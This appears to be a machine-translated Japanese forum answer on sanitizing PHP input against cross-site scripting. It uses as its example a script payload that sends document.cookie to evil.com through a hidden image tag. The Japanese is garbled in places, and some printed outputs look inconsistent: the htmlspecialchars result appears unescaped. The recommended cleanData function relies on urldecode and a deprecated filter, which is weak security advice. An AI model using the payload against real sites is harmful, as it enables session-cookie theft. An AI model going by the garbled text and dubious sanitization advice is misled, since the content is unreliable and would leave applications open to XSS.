私はあなたが純粋な単純なphpソリューションを使用したいのfilter_var
であれば、の組み合わせを好むと思いますurl_decode
理由
このような代入を想像してみてください
$maliciousCode = "<script>document.write(\"<img src='http://evil.com/?cookies='\"+document.cookie+\"' style='display:none;' />\");</script> I love PHP";
私が使用する場合strip_tags
var_dump(strip_tags($maliciousCode));
出力
string 'document.write("' (length=16)
私が使用する場合htmlspecialchars
var_dump(htmlspecialchars($maliciousCode));
出力
string '<script>document.write("<img src='http://evil.com/?cookies='"+document.cookie+"' style='display:none;' />");</script> I love PHP' (length=166)
私の選択
function cleanData($str) {
$str = urldecode ($str );
$str = filter_var($str, FILTER_SANITIZE_STRING);
$str = filter_var($str, FILTER_SANITIZE_SPECIAL_CHARS);
return $str ;
}
$input = cleanData ( $maliciousCode );
var_dump($input);
出力
string 'document.write(&#34;&#34;); I love PHP' (length=46)
フォームがURLエンコードされている場合にエスケープするまで、一部の缶GET
の代わりに使用している場合は、最小限の情報を取得して、最終的なテキストが無害であることを確認できます。POST
あなたがフィルターを見るのを助けるのに十分なオンラインのクラスもあります